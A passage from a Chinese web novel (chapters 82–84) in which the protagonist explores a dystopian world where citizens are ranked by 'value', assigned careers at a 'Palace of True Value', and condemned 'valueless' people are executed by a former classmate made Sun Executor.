最后，神灵用一场大洪水抹去了大地上的所有痕迹，至此，第一纪元毁灭了。 第二纪元时，神灵们吸取了调停者身上的教训，用熔岩与巨石创造了不会惧怕光明的强大生命，将其命名为卓洛布人。 卓洛布人不再惧怕光明，但它们却有着恶魔一样的面孔，和永无止尽的贪欲。与此同时，它们也并不感恩神灵赋予它们生命，不但从不祭祀神灵，甚至对神灵毫无敬畏之心。 因此神灵便将这群卓洛布人投入第八层和第七层冥府，将其从“卓洛布人”改名为“罪人”，并用一场飓风抹去了大地上的痕迹。 至此，第二纪元结束了。 而到了第三纪元，也就是这些木人身处的纪元时，神灵对生命的创造更谨慎也更熟练了。 祂们以树木作为生命创造的基底，赋予它们灵智，赋予它们虔诚，赋予它们善良和宽容，赋予它们世界上一切的美好。 但可能是神灵们想要给木人们塞的东西太多太多了，以致于这些木人们被创造出来后虽然的确善良美好宽容虔诚，可偏偏就是……不太聪明。 或者说——愚笨。 是哪怕跌倒这样的小问题都无法处理、都再难站立起来的可怕的愚笨！ 它们几乎无法进行自主思考，也几乎难以正常繁衍，甚至根本就是难以正常生存！ 因此，倍感失望的神灵将这些木人丢到了第六层冥府，接着用陨石摧毁大地。 只持续了短短一个月的第三纪元，至此终结。 颜辞云听到这里，只觉得这种儿戏一样的创造毁灭再创造再毁灭的故事，实在是让人头痛。 就是说，那些神在造物的时候，就不能先创造两个“样本”试试水吗？为什么每次都是挥手造一大片生命，再挥手毁灭一大片生命？ 且不提这种神力多了没处花的样子有多么浪费，光是这种灭世的频率，就实在很不好。 或许对一些人而言，神赋予了造物生命，那么神就有权利收回和处置这个生命。 但如果将神看作母亲，将造物看作孩子，那么这件事就会变得清晰起来： 母亲固然用自己的血肉创造了孩子，但母亲有收回孩子的性命、将孩子如玩具一样摆弄的权力吗？ 没有的。 作为母亲，她可以管教孩子，可以责骂孩子，也可以在恼恨孩子的时候放弃孩子、将孩子从自己的地盘上彻底驱逐。但唯独不该将孩子视作自己的所有物，随意摆布或随意毁灭。 智慧生命之所以带“智慧”二字，不就是因为它们有自主思考的能力吗？ 而既然有了自主思考的能力，那么在他们诞生的那一刻起，他们就应该有决定自己生死的权利。 如果一个拥有智慧、能够思考的生命，既无法决定自己的生，也无法决定自己的死，终其一生都在被外力干扰，无法决定自己的命运……那么这个智慧生命的一生该有多么悲哀啊！ 颜辞云实在难以赞同这个世界的神灵的任性举措。 然而，当颜辞云低下头，看到这些被拆解成碎块、徒留灵魂在这第六层冥府徘徊的木人们，看着它们脸上别说是对神灵的怨恨、甚至就连命运在它们身上降下过怎样的灾难都难以理解的脸，她又说不出别的任何话语。 最后，颜辞云只能问道：“那么，后来呢？现在离第三纪元已经过去了多久？在这之后，大地上又发生了什么？” 木人们表示自己并不知道大地上的情况，只知道在这之后时间又过去了很久很久，而冥府也开开关关了许多次。 ——许多次？ 颜辞云眉头一皱：该不会在木人之后，那些神又灭世了许多许多次吧？ 而这一次，那些神又准备干什么？ 这一刻，不知为何，颜辞云心中生出了隐约的危机感。 她开始思考那些能将世界当作泥巴一样搓扁揉圆的神，会对她的到来有什么看法，会不会对她做出什么应激反应。 而且，颜辞云还直觉感到，这个世界发生的事，应该比木人们所说的更为复杂。 因为当颜辞云的分身降临这个世界时，她既没有发现任何能被称作“神”的东西，也没有被任何能称作“神”的东西发现。 这是很不应该的。 要知道，在赛博修仙那个世界里，哪怕那个世界的意识只剩下了最后三个月，但在颜辞云动用自己能力的瞬间，它还是立即找上了门来。 可如今，颜辞云甚至都已经闯入冥府了，那些神怎么还是一点儿反应都没有？ 这里头，一定有什么问题吧？ 颜辞云思考着，告别了这些木人，开始向九层冥府的上层探索。 在木人的口中，颜辞云得知，九层冥府下窄上宽，像是一个倒立的金字塔。 金字塔的塔尖，也就是冥府的第九层，位于冥府的最深处，除了关押着寥寥几个未变成石人的调停者外，就是九名死神的休憩之地了。 是的，这个世界竟然有九个死神，而且祂们还不是死魂流转公司里那样披上死神外套就能当的“死魂收割人”，而是真正拥有神位的死神！ 颜辞云非常有自觉地绕开了第九层冥府。 而至于第八层和第七层，木人也说过了，那是关押卓洛布人的地方。 根据木人的描述，那些卓洛布人非常像是游戏和幻想小说里描绘的熔岩巨怪、熔岩恶魔之类，一般情况下颜辞云是不太想下去招惹它们、引起什么动静的。 再加上颜辞云想要知道的是第三纪元之后的事，而按照那些神灵的行事方式，后续纪元里被毁灭的生命的灵魂应该都在第六层往上，于是颜辞云决定往上走。 但是，要如何在冥府的上下层之间进行移动呢？ 颜辞云想到了一个取巧的办法，那就是先离开第六层冥府，退回天坑，然后往上飘个千百米，再直行。 这样一来，是不是就能抵达冥府的“上层”了？ 颜辞云觉得这个想法很有可行性，于是便这样做了。 可她显然忘了一件事。 那就是—— 有神的世界，是不讲道理，也不讲物理的。 因此，当颜辞云按照自己的想法，回到天坑，往上飘了数百米，觉得自己可能抵达了“第五层冥府”或“第四层冥府”的水平位置后，便开始横飞，意图像闯入第六层冥府那样，闯入上层冥府。 然而，随着熟悉的、像是“穿过了什么”的感觉传来。 当颜辞云抬头望去，入眼所见的却是如天柱一样耸立、直入云霄的圆柱型大图书馆，以及无数穿着各种奇怪设备、在图书馆里飞来飞去的人们时，她欲言又止，陷入呆滞。 啊……这、不是…… 这、这到底是给她干哪儿来了？ 第82章 价值 你太自私了！ 非常不可思议的是，如今展现在颜辞云面前的，竟然是一个以巨型图书馆为核心建立的城市！ 颜辞云在记下通往天坑的出口后，便小心谨慎地探身，离开图书馆，想要看看这个世界的模样，结果她第一眼就看到了脚下离她起码有千米远的地面、如积木一样的城镇，以及东南西北四个方向的巨大人形黑影。 当颜辞云抬头仰望时，无尽高的天空上，有两颗耀眼的太阳高悬。颜辞云仔细打量，发现其中的一颗的确是真正的太阳，但另一颗却是一座金灿灿的宫殿！ 天上的宫殿？！ 这一刻，颜辞云不由得想到了木人口中第一纪元那些无所不能、直接在天上造城市的“调停者”。 但调停者是不能晒太阳的。 所以……这些人是谁？ 自己到底来到了什么地方？ 颜辞云好奇飞近那座太阳宫殿。 刚巧，此刻恰好有一群人背着颜辞云在图书馆见过的飞行背包，从地面的城市起飞，目的正是天上的那座太阳宫殿！ 颜辞云心中一喜，先是飞到附近，稍加试探，在发现这些人的确没有看破生死裂隙的能力、看不到她的身形后，便直接跟在他们身旁，与他们一块儿飞向太阳宫殿。 在飞行的过程中，颜辞云发现，这些人的飞行背包速度明明很快，气压的变化十分剧烈，但他们却并没有任何人表现出不适。 也不知道是因为他们的制服特殊，还是有特殊的力场，又或者是他们的肉体强度本就很高，总而言之，在飞行的最高速时，他们几乎都接近音速了，却依然人人面不改色，还在头盔内用通讯器谈笑风生。 而至于没有实体的颜辞云，她的速度更是慢不了，因此，短短数分钟后，一行人就来到了太阳宫殿前。 他们飞到附近后，便降落在台阶上，取下头盔，露出了一张张俊秀又年轻的面容，脸上的朝气蓬勃就像是刚毕业的大学生。他们没有取下飞行背包，但也没有继续飞行，而是用双腿步行向上，似乎是以此行动表示尊敬。 而当他们登上最后一节台阶，在金光闪闪的宫殿门前站定时，颜辞云听到有人发出赞叹。 【正价宫果然非常宏伟啊！】 依然是听不懂的语言。 但依然有神奇的自动翻译器。 【不知道适合我的职业会是什么。】 这些年轻人叽叽喳喳，开始讨论起来。 【我觉得我应该很适合当图书管理员，我家里的每一个人都是图书管理员，我一定也能做到的！】 【我觉得我应该适合当一名城市调停者，我的超数绘图学得非常好，日后迁移城市的时候，我一定能发挥大用！】 【我觉得我能得到维序者这个职业，因为我的战斗课分数最高，正价宫肯定能看到我的真正价值！】 【我应该……】 【我可以……】 蓦地，在这样叽叽喳喳的讨论声中，有人发出了犹豫不定的声音。 【我……我想要当一名摄影师。】 这一瞬间，四周骤然一静，所有人都转头看向了发声者，就连颜辞云都好奇看了过去。 因为颜辞云敏锐发现，在所有人都说“我觉得”、“我应该”、“我可以”的时候，只有这个人说的是“我想要”。 而在颜辞云的视线尽头，一个用厚重刘海遮住了自己大半张脸、非常符合颜辞云刻板印象里的阴暗宅男的人，正站在众人的注视下，有些窘迫地用手拧着飞行背包的肩带，像是下一秒就要逃走。 事实证明，他的反应是对的，因为下一秒，那个自称自己能当上维序者的高大青年男人，就一把搂住了他的脖子，哈哈大笑起来。 【摄影师？你竟然说摄影师？！哈哈哈，阴暗哥布林，你该不会是想要说，好不容易跟上我们的脚步、跟我们这些天之骄子一块儿进入正价宫的你，就只能去当一个对社会毫无用处、对胡拉坎毫无价值，只会按快门的笨蛋？】 【你是在用贬低你自己的方法来贬低我们吗？】有第二个人冷冷开口，【阴暗哥布林，这个玩笑可不好笑。】 厚刘海宅男脸色涨红，用力挣脱了自己脖子上的手。 【我没有开玩笑，我也不叫阴暗哥布林，我叫南陆！请你们尊重我，好好地叫我的名字！】 【人要先自重才能得到他人的尊重。】又有人尖锐说着，【说自己想要当世界的蛀虫的人，有什么资格让我们尊重？】 南陆脸色越发红了，【摄影师不是世界的蛀虫，它是一个职业——】 【它就是！所有无法对我们城市提供利益、对胡拉坎产生价值的，都是世界的蛀虫！】 【价值，利益，又是价值，又是利益——为什么你们每个人都在说价值和利益？】这一刻，如同触底反弹，这个年轻人蓦地爆发了，【为什么你们要把所有人都放在秤上衡量，难道每一个人都一定要有他们的“价值”吗？难道每一个没有“价值”的人都不配活下去吗？】 【当然不配！】 南陆的爆发立即遭到了同龄人更严厉的镇压。 【你给我搞清楚一点，南陆，我们之所以不像前面的十几个纪元那样毁灭，正是因为我们和之前那些无用的生命全都不一样，我们是有价值的！】 【没有价值的生命，不配占据世界的资源，不配得到神灵的垂怜，所以它们死了，就是这么简单！】 【而我们托肖人不一样，我们对世界有价值，对文明社会有价值，对胡拉坎也有价值——这才是我们存在的唯一理由。所以我们也必须要把我们的价值永远、永远、永远地贯彻下去，你明白了吗，阴暗哥布林？！】 【是因为我们这些有价值的人，通过不懈努力，这才创造了我们的文明，也是因为我们的价值，才让你这样的蠢货也能好好活着！】 【所以，创造价值——这是每个人生来就要履行的义务！如果你不履行义务，他也不履行义务，你是想要我们的世界我们的文明如前十几个纪元那样毁灭掉吗？】 【是胡拉坎赋予你的能力，是胡拉坎让你有资格站在这里，但你不但不想着好好利用它、不想着怎样用它为我们的文明创造更多价值？反而想要当一个社会的蛀虫？阴暗哥布林，你太自私了！】 【等到进入正价宫后，沃拉冈大人会给我们分配最适合我们的职位，会告诉我们要去做什么、如何做，才能体现我们作为托肖人的最大价值，到时候，你一定要闭上你的狗嘴，再不准说出这套可笑的东西，让沃拉冈大人以为我们都是你这种搞不清楚状况的货色！】 【听到了吗？！！】 在愤怒而又声音极低的争吵声中，颜辞云看到“南陆”咬紧了牙关。 他没有回答他同学们的喝问，但颜辞云能看出，这个年轻人已经妥协了。 所以，当正价宫的大门打开，这队年轻人依次进入宫殿，参加了某个须发皆白的老人的主持下的一场奇怪仪式后，每个人的“未来”都在此展现。 清理员、城市调停者、维序者、撰写人、欢笑人，等等。 有些职业颜辞云还能勉强从名字上理解，而有些职业颜辞云则完全想象不出来。 最后，当那个叫做南陆的年轻人站在老者面前时，老者第一次在仪式中睁开了眼，久久注视面前的年轻人。 【太阳执行人。】 在老者吐出这个词语的瞬间，年轻人愕然抬头，所有人也震惊转身，看向了这个年轻人。 只不过旁人的表情是惊诧、羡慕、嫉恨，甚至愤怒，而南陆的表情却凝固僵硬，如同食草者临死前的绝望。 但除了颜辞云之外，没有任何人发现，没有任何人在意。 每个人都以为年轻人是喜悦骄傲的。 老者慈祥笑着，手中拿出了一柄如太阳熠熠生辉的利剑，交到年轻人的手上。 那沉甸甸的重量，几乎瞬间就将年轻人压垮，踉跄一下后，到底没有接住，仍由那重剑没入地砖。 但大家依然在笑着，不以为意地笑，哪怕嫉恨发狂也要欣慰信服地微笑。 老者说： 【从此以后，你就是太阳的执行人。】 【你将代行太阳之权能，审判、裁决、毁灭那些所有无价值的人与物。】 【恭喜你，南陆。】 这一刻，广阔的宫殿里，寥寥的几个年轻人发出了巨大的掌声。 而颜辞云则站在正价宫宫殿之外，静静看着这一幕，看着那些人脸上或真心或假意或扭曲的笑，看着南陆那双依然在颤抖的手。 最后，颜辞云回头，看向宫殿下方那片生机勃勃的、与她所见到的焦土截然不同的大地与城市。 她觉得，自己或许明白了什么。 第83章 神圣终焉 是拯救？是毁灭？…… 颜辞云开始思考起来自己迄今为止所看到的这一切。 比如说那个“天坑”的真相究竟是什么，为什么在它的地面上是世界末日，在它的坑底深处是九层冥府，可从坑底往上仅仅只间隔了不到一千米的地方又变成了普通的异世界？ 颜辞云觉得首先，可以肯定的是，那个天坑绝不是什么普通的“大地裂隙”，也不是她之前认为的“九层冥府的某个切面”。 或者说，颜辞云在进入这个以大图书馆为中心建立的城市后，就多少意识到了自己以天坑深度定位冥府的不靠谱程度了。 那么，当确定天坑不是什么普通的地方后，第二个问题随之而来： 颜辞云眼前所展示的这个世界，是怎么回事？ 它是真实的吗？ 还是历史留下的某个投影和片段？ 又或者她在天坑深处时穿越了时间，跳过了她降临时所看到的毁灭纪元，意外去到了世界被神灵重启前的时间，甚至是去往了世界被神灵重启后？！ 只要肯放飞想象力，哪怕猜到平行时空量子力学都不是问题。 所以颜辞云适时地整理了一下自己的思绪后，便重回大图书馆，从自己进入世界的缺口处原路返回，拿出白玉永明灯，想要看看这个天坑内部的模样。 但，哪怕颜辞云在天坑内手举光源，这光源也照不亮一寸之外的地方。 甚至，当颜辞云紧贴着天坑内壁，拿着永明灯一寸寸探照时，她也依然看不到泥土、石壁、苔藓等任何可能会出现在“天坑”这个概念里的东西。 入眼所见的，唯有黑暗而已。 ——天坑里的“黑”，并非是普通的失去了光源后的黑暗，而是有一个名为“黑暗”的概念将此地笼罩。 颜辞云很快就发现了这件事。 她不由得松了口气：还好不是自己的夜视能力失灵了。 这样想着，颜辞云又从自己标记的地点重返那个有两颗太阳的世界，想要试着能不能与世界产生交互，好探索那个世界的真相。 好消息是，颜辞云的确回来了，没有出岔子。 坏消息是，颜辞云回来的年代不对，她似乎又穿越了十余年。 颜辞云：啊？？ 上一次进入这个世界时，颜辞云清楚记得，巨柱型图书馆是分区管理的，而管理她出入的“缺口”的管理员，是一个表情严肃戴着眼镜的白发老人。 可这一次进入时，颜辞云却发现这个“缺口”的管理员换人了，换成了一个颜辞云曾经在正价宫见过一面的、但年纪起码老了十来岁的男人。 曾经这个男人，在他还是个年轻小胖子的时候，就在正价宫前自豪说自己一家人全都是图书管理员，所以他也一定会成为一个图书管理员。 而如今，他的确成为了一个图书管理员，但他的表情并不像他在正价宫时那样自豪又得意，而是如颜辞云在这里看到的每一个图书管理员一样。 他的嘴唇紧抿，嘴角下拉，原本讨喜的面相变得严厉而刻薄；他的眼睛总是半眯不眯，因为长年垂眼看人而显得严厉不近人情。 甚至就连他的体重都不再“出挑”，而是被调整到了正常范围内，再不能用“胖”来形容他了。不过颜辞云注意到，他的抽屉里有许多存放了许久都没动过的小点心和零食，一根看起来使用频繁的塑料管，以及半瓶食盐水。 颜辞云皱了皱眉，凑到这个曾经的小胖子附近，仔细打量了一番对方的面容，确定时间已经在他的身上走过了十余年后，她直起身来，神色有些茫然。 怎么……怎么就十年了？ 明明她就是去外头稍稍转了一圈而已……这就十年了？ 正思考间，颜辞云听到身侧图书管理员地口袋里有什么东西发出了轻微震动。 她低头一看，刚好见到男人从口袋里掏出一个造型非常像是手机的通讯器，点开了某个聊天室。 颜辞云好奇凑近，便看到几个似曾相识的头像在聊天室里跳动着，不停地弹出对话框。 【快六点了，还没定好我们聚餐的饭店吗？】 【在XX路的XXX吧，那里的菜不错。】 【真是让人想不到啊，一转眼十年就过去了。】 【是啊，十年前我们还是刚毕业的学生，还在为了自己未来能当什么人而忐忑不安，没想到现在我们都成家立业了，就连孩子都能跑能跳了。】 【哈哈，羡慕你们这些有孩子的人啊，我都结婚三次了，还是没分配到一个合适的伴侣。】 【你不是孩子都两个了吗？】 【天赋不够，只能换个人再生。】 【那你辛苦啊。我记得老赵你这个位置，按政策起码得生两个有乙等天赋以上的孩子才算达标吧？】 【不辛苦，市政的福利好，只要生下一个甲等天赋的孩子，前面的投入就全都能赚回来了。】 【也对，这么说来，还是小秦可怜，都这个年纪了，竟然还没有匹配到合适的老婆。】 【这个事情啊，你们听我说。小秦这个人呢，他人长得是不怎么样的，而且又胖，还抽烟喝酒，所以他的生育价值不高，对不对？生育价值不高的人，就不可能生出高天赋的孩子，所以哪怕他家庭条件好，走关系把他的基因塞进匹配库里，也不可能分到优秀的女人，这都是合情合理的，没有什么可怜不可怜的说法，都是非常正常的。】 【但小秦性格工作和家庭都很好吧？】 【这些好又有什么用？当然，我承认，小秦是有价值的人，图书管理员也是个非常好的工作，可个人价值又不能代表生育价值。我们结婚图的什么，不就是图生下一个天赋高的孩子，为我们的文明做贡献吗？小秦他本人，或许是有在为我们的文明做贡献，可他在繁衍价值的问题上不值一文，这件事大家也要承认的，对不对？】 【哈哈哈哈，老赵说得对，不愧是坐市政厅的人，果然说话就是有理有据、以理服人。】 【那个……小秦还在群里呢，你们这么说不怕被他看到吗？】 【放心放心，他现在还在上班呢，我们多刷一下他就看不到了。】 对话框接二连三地弹出，颜辞云看到图书管理员握着手机的手指无声发白。 颜辞云侧头看了他一眼，想起了他的名字。 秦自得。 聊天室的对话还在继续。 【好了好了，我约好饭店了，七点XX酒店XX包厢，我们03届的老同学不见不散啊！】 【XX酒店的XX包厢？这是个二十人间吧？】 【是啊，我们当年一块儿去正价宫的一共是17人，现在包个二十人间，刚好。】 【用不了这么大吧，巴德、段宏、曾慈音，他们三个不会来的。】 【你怎么知道？】 【巴德不来？为什么？虽然欢笑人这个工作是挺拿不出手的，但我们老同学聚餐他不至于不来吧？】 【也不是。他上个月在西十二区表演，主办方准备的工作服有点小，他表演到一半窒息死亡了，尸体送到我工作的殡仪馆里，还是我给他送的分解炉。】 【什么？怎么会这样？巴德也真是的，工作服小了不会开口说吗！虽然他的工作不值一提，但怎么也是和我们一块儿见过沃拉冈大人的人，他工作了不到十年就死了，岂不是拉低我们这一届毕业生的价值？这让沃拉冈大人怎么看我们？】 【对啊，我们这一届有资格去正价宫的人一共才17个，出了巴德这个“欢笑人”就已经让我们很丢脸了，结果他还死了……这不是拉低我们胡拉岛天赋才能大学的就业率吗！】 【行了，巴德人都死了，你们都少说两句……对了，慈音呢？慈音为什么也不会来？】 【哦，这个我知道，半年前小曾她就得了辐射病，治不好了，还是在我们医院开的单子，说是要拿着单子去跟老板要一个说法，但我觉得她肯定要不到。】 【怎么说？】 【你们想一想啦，小曾去的可是一个好公司，干的更是城市调停者这样的好工作。怎么别人干这个工作都没事，她一干就出事啦？这不就说明她本来其实是没有成为调停者的价值吗？她一个没有相应价值的人，占了一个高价值的工作和福利这么多年，她老板没找她要说法就算了，她还想找老板要说法？这种事怎么看都不可能成功的啦！】 【我倒不清楚那么多，不过前几天我们殡仪馆确实收殓了曾慈音的尸体。其实送到我们殡仪馆的时候，小曾她其实还有一口气，不过我怀疑她那时候已经疯了。】 【疯了？】 【是啊，疯了，因为在我们馆长告诉她她马上就要被送去分解炉，尸体要重回世界成为反哺世界的一部分的时候，她嘴里一直念念叨叨，在说“可怜”。】 【她在说她自己可怜？】 【不是，她在说我们活着的人可怜。】 这一刻，聊天室骤然一静，像是所有人都陷入了茫然。 但很快的，对话框再次如缸中鱼儿的气泡一样，在聊天室里一个个吐出。 【果然是疯了。】 【原来是疯了啊，难怪。】 【可怜，可怜，没想到曾经超数绘图第一名的曾慈音竟然疯了。】 【大概这就是无价值的人占据了自己不该占据的位置的结果吧！】 【对哦！我怎么没想到？难怪我觉得最近的世道越来越艰难了，这肯定都是因为这种事太多了，太多没价值的人占据了有价值的人的位置，这才把我们的世界搞的乱糟糟的……接无价值的人赶快去死。】 【接无价值的人赶快去死+1】 【接无价值的人赶快去死+2】 【……】 七嘴八舌间，图书管理员秦自得像是有些看不下去了，想要将手机放下。 可就在这时，又一个新的话题跳出。 【对了，南陆呢？你们有没有谁联系过南陆？他会不会来同学会？】 这个话题一出，原本叽喳不休的聊天室立即沉寂下来，而秦自得想要关闭手机的手也停下，因经历了迅速消瘦而显得有些刻薄的脸上也被映得有些阴晴不定。 直到好一会儿后，聊天室里才有对话框断断续续地往外蹦。 【老赵，你是坐市政厅的，平日里一定没少跟太阳神宫打交道吧？】 【是啊，听说你们市政厅每个月都要上交一大批无价值人员名单送去给太阳神宫审判和裁决，能去太阳神宫的机会一定很多吧！等等，今天好像就是你们市政厅送无价值人员名单的日子？对不对？！】 【赵哥，太阳神宫是什么样子的？听说正价宫只占据了太阳神宫的超小一部分，其它的地方宏伟壮丽极了，根本就不是正价宫能比的……是不是这样啊赵哥？】 【你拍过照片没有？给老同学们开开眼呗。】 【对了对了，听说太阳执行人住的地方叫日之车，是仿照神话中太阳神的座驾太阳神车建造的，刻意保留了马车的外观，但能在天空移动，我从小就特别想要看看这个日之车的样子，老赵你就当圆了老同学的梦吧！】 【是啊老赵，你这么有办法，就让我们开开眼吧！】 图书管理员秦自得无声看着，只发出了一声短促而嘲讽的鼻音。 而果然，就像秦自得想的那样，老是在聊天室内快速回复并且一回就是一大段一大段的老赵，这一回却显得格外寡言。 【不是我不想帮大家，只不过这件事不好办啊。毕竟在成为太阳执行人后，为了保证公正和正义，太阳执行人不但要断绝自身绝大部分与外界联系，并且大部分时间都要蒙着眼睛，想要和太阳执行人保持同学联系其实是很不容易的事……】 【而且我作为政府人员，是不好这么做的……虽然原则上来说是可以的，没有规定说一定不许什么的，但是呢……】 【总之啊，这件事不是我不想帮大家，就是实在不方便，大家懂的都懂，不懂的我也不方便解释太多……】 该说不说，不论是在什么世界，当人开始扯淡时，那顾左右而言他的推脱之词都是大差不差的。 不过这些对话也让颜辞云得知了，天空中的那颗第二个太阳，果然就叫做太阳神宫，而颜辞云曾经拜访过的正价宫，其实只占据了太阳神宫的小小一部分面积。 甚至于十年前那个还在被同学霸凌呵斥为“阴暗哥布林”的宅男南陆，十年后也已经成为了他们高不可攀的太阳执行人，太阳神宫是他的地盘，而他的日常起居，更是在一个仿照太阳神座驾而建造的可移动宫殿日之车上！ 想到这里，颜辞云不由得有些唏嘘：人们常说，二十年河东二十年河西，风水轮流转。可没想到这位南陆还没过去二十年，就已经把风水转过来了。 那“正价宫”，果然是一个神奇的地方，这个世界的人们的所有未来——又或许是最顶尖那部分的学生的未来——竟然是被一个老者、一场仪式所裁定的。 也不知道这里头有什么依据。 这样想着，颜辞云将身体探出图书馆外，好奇看了看天上。 依然是一颗真实的太阳，一颗伪造的太阳。 不过那传说中可以飞行移动的、仿照太阳神车打造的日之车，颜辞云倒是没有看到。 颜辞云收回脑袋，回身准备找个僻静的地方实体化一下，再试着与世界做一些交互，探探这个世界的深浅，如果可以的话，最好查查历史书籍，看看这个文明都记录了些什么、会不会对颜辞云认清目前的情况有所帮助。 可收回脑袋后颜辞云才发现，身侧的秦自得不知道什么时候开始在手机上打起了字。 并且，秦自得并不是在那个满是老同学的聊天室里发言，而是在与某个俯瞰风景头像的人单独联系。 【你不去是对的，那些家伙根本就不是真心邀请你，只是想要巴结讨好你而已。哈，真是搞笑，当年就是那群人带头霸凌你的，如今的他们竟然又好像一个个忘记了这件事一样，热切讨论你来不来同学会的问题……我简直都要以为我穿越到了什么平行时空了！】 【我的确走不开，今天是审判的日子，沃拉冈大人不会允许我离开太阳神宫的。】 【我知道，我明白，以南陆你的性格肯定不是那种记仇或者傲慢才故意不来同学会的人，所以我才说这样的命运奇妙，通过最正当的方式把你直接留在太阳神宫，断绝了和那些丑态百出的家伙重新联系上的可能。】 【正当吗……】 【南陆……我其实能理解你的想法，真的……价值这种话，年轻不懂事的时候还会说一说，但长大后才觉得，千方百计展现价值的人生真的挺累的……人真的要有价值才配活着吗？可“价值”又是什么？由谁来定义的？为什么胡拉坎要对我们这么苛刻，要把我们每个人都放在天平上称量？我们难道不是祂的造物吗？为什么要对我们这么苛刻？】 【怎么了？遇到什么难事了吗？我有什么能帮你的吗？】 【没有，没有，只是有感而发……哈哈，其实这样的话压在我心里太久了，我根本都不敢对别人提起，因为我知道他们听后一定会说“这是无能无价值的人才有的卑劣发言”、“只要你肯奋斗你怎么可能没有价值”、“你觉得自己没有得到回报肯定是因为还不够努力”之类……我真的是听烦了。还好有你，南陆，如果没有你这个朋友，我这些年来肯定早就被逼疯了！】 【你也是我的朋友。】 【真的很感谢你，南陆，感谢你在见过我那么年轻不懂事的一面后，还肯跟我做朋友……好了，行了，我们兄弟之间多余的话不说了，好兄弟一辈子，日后只要你用得上我的地方，我拼了老命也给你做！哈哈，别看我秦自得比不上你这位太阳执行人，可我家里还是有些权势的！】 话语间，秦自得的手机上突然有信息弹窗。 【爸：自得，你的婚姻匹配申请今天又一次被匹配库退回来了，我们已经实在没有办法了……我们做爸妈的，对你也算是仁至义尽了。】 秦自得的表情僵住了，手指落在书桌上，不自在地抠了抠桌面。 那里有一个最近一年新出现的凹痕。 秦自得点开对话框，想要输入什么，但迟迟无法落下文字。他有些焦躁地拉开抽屉，拿起点心，又放下，拿起塑料管，也放下。 最后，秦自得输入文字。 【好，谢谢爸，辛苦你了，我知道了。】 切回南陆的聊天界面，秦自得在南陆对他刚刚突然消失的疑问，用若无其事的口吻伪装正常，随便聊了几句后，就以“同学会快开始了”为借口，关闭了聊天窗口。 他在管理员的位置上怔怔枯坐，好像灵魂都飞出了，在这一刻抛却了人间的躯壳，去往了一个极遥远极遥远的地方。 直到换班的图书管理员来接班时，他才恍然惊醒，魂不附体地用肌肉的机械记忆与对方点头示意，收拾东西离开岗位。 这时候，颜辞云已经切换成了实体，站在了大图书馆内，好奇地用手探索书架上的一切，一边感受着自己指尖传来的似真似假的触感，一边装作不经意地侧头，去看与自己擦身而过的秦自得。 颜辞云没准备跟上去看。 哪怕意外接收到了大量此界凡人的喜怒哀乐、悲欢离合，颜辞云也没准备追看这个凡间连续剧。 然而，当书架后一个又一个借书人或起身离开，或拿出手机、与同伴窃窃私语时，颜辞云却是心念一动，生出了微妙预感。 【马上就是六点了吧？】 【是啊。】 【今天又是太阳审判的日子，不知道这次被审判的人是什么人。】 【什么啊，为什么要关心这种问题？难道你是冲着那种社会败类社会残渣去的吗？难道最吸引我们的不该是太阳执行人的颜值吗？天呐，我发誓，这绝对是这么多年来最帅、最有能力的太阳执行人！】 【被审判的人其实不是……算了。】 颜辞云隔着书架，投去一眼。 “最有能力的太阳执行人”就算了，怎么还是“最帅”？ 那个厚刘海宅男有什么帅的？ 颜辞云倒是记得自己现在是有实体的状态，没有贸然凑到小姑娘的手机边看，只是远远瞥了一眼，看到了小姑娘的手机壁纸。 刺目的金辉下，如太阳神一样英俊而肌肉分明的男人站在高台上。他长长的头发如火焰一样在肩头流淌，眼部被厚厚的布带蒙住，代表公平和正义，一手举剑、一手握枪，代表审判和裁决。 如果不是颜辞云从这个男人的脸上轮廓依稀找出了曾经那个阴暗宅男的影子，她简直不敢相信这个“太阳神”与那个“阴暗哥布林”是同一个人！ “真是男大十八变……” 嘀咕着，想要继续埋首书籍的颜辞云，突然又注意到了一个关键词—— 审判。 今天，是市政厅将无价值人员名单送去太阳神宫的日子，也是太阳执行人审判裁决的日子。 不知道为什么，颜辞云此刻心中的预感越发强烈。 她放下了手里的书籍，离开了她心心念念的图书馆与历史区，踏入地面的城市，仰头望去。 此时，天空不知什么时候出现了第三轮太阳，将本该迎来黄昏的大地映照得如同正午一般，连空气中的灰尘都分毫毕现！ 颜辞云调整了一下视线，目光穿过那刺目的辉光，看到了辉光中如太阳神车一样造型的巨型宫殿、立着太阳神雕像的审判台，以及与颜辞云刚刚在手机壁纸上看到的造型一模一样的太阳执行人。 他站在高台的边缘，虽有眼，但不可视，虽有口，但不可言，比起执行审判之人来说，更像被审判之人。 而很快的，一旁一个穿着祭祀服的人恭敬上前，将某个蕴含着被执行者气息的罐子在他身旁打开。 他垂着眼，如同以往的无数次那样举起了手中的长枪。 轰！ 流光天降，投入城市。 火焰在大地上燃烧。 扭曲的火光中，有一具被长枪从头顶贯穿的尸体熊熊燃烧着，在火焰的炙烤下发出诱人又令人作呕的烤肉气息。 但没有一个人对此感到恐惧。 他们甚至拍手欢欣起来。 【太漂亮了！又是完美的一击！】 【就是这个！我想看的就是这一幕！多么美丽啊，太阳执行人，我永远追随你！！】 【社会负资产的减少，就代表着社会正资产的增加，这就是太阳执行人存在的意义。】 在地面人群饱含喜悦、自豪、欣慰等复杂的声音中，颜辞云听到遥远云端上有这样的声音传来。 【编号2119749秦自得，已成功销毁。】 她抬头望去，见到高台上的那位“太阳神”在这一刻骤然僵立原地。 猛然间，他抬手，不顾周围人震惊的制止与阻拦，粗暴扯下眼上代表着公平与正义的布带，低下头去，在看到脚下城市里那具熊熊燃烧的焦尸的那一刻，那双如火焰一样跳动着太阳金辉的眼睛，涌出了第二种色泽。 他看着秦自得，颜辞云看着他。 这一瞬间，熟悉的系统音在颜辞云耳畔响起。 【任务[神圣终焉]已开启。】 【你清楚看到了这个世界是如何崩溃毁坏的，你也看到了那代表着终末灾难的未来。接下来，你的每一个选择或者不选择，都将决定这个世界的未来。是拯救？是毁灭？是见证？本任务将根据玩家最后的抉择发放相应技能奖励点。】 第84章 扭曲底色 skip过头了…… 接下来的时间里，颜辞云仍然留在这个世界里，继续探查世界的真相。 在探查真相的过程中，颜辞云也会频繁地关注天空，目光长时间地停留在那辆日之车上，想要看看这个已逐渐呈现出扭曲裂痕的世界，究竟是如何爆发矛盾，最后又是以何种方式彻底崩溃的。 但奇怪的是，自那一天后，天上的那位“太阳神”竟然除了主动摘下蒙上双眼的布带外再没有做出任何过激举动，反而如同往日那样继续履行着他作为神圣象征和侩子手的职责，就好像是彻底沉沦于这个角色，放弃了最后的抵抗似的。 